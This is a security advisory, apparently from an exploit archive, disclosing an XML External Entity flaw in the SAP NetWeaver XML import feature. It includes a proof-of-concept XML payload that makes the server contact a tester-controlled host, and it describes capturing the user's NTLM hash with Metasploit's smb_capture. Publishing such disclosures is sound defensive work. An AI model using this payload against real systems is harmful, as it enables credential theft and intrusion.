9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
SAP NetWeaver 7.01 - XML External Entity Injection
Title: SAP Netwaver - XML External Entity Injection
Author: Lukasz Miedzinski
GPG: Public key provided in attachment
Date: 29/10/2014
CVE: CVE-2015-7241
Affected software :
===================
SAP Netwear : <7.01
Vendor advisories (only for customers):
===================
External ID : 851975 2014
Title: XML External Entity vulnerability in SAP XML Parser
Security Note: 2098608
Advisory Plan Date: 12/5/2014
Delivery date of fix/Patch Day: 10/2/2014
CVSS Base Score: 5.5
CVSS Base Vector: AV:N/AC:L/AU:S/C:P/I:N/A:P
Description :
=============
XML External Entity Injection vulnerability has been found in the XML
parser in the System
Administration->XML Content and Actions -> Import section.
Vulnerabilities :
*****************
XML External Entity Injection :
======================
Example show how pentester is able to get NTLM hash of application's user.
Content of file (PoC) :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "file:////Tester.IP/test"> %remote; %param1; ]>
<root/>
When pentester has metasploit smb_capture module run, then application
will contatc him and provide
NTLM hash of user.
Contact :
=========
Lukasz[dot]Miedzinski[at]gmail[dot]com
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P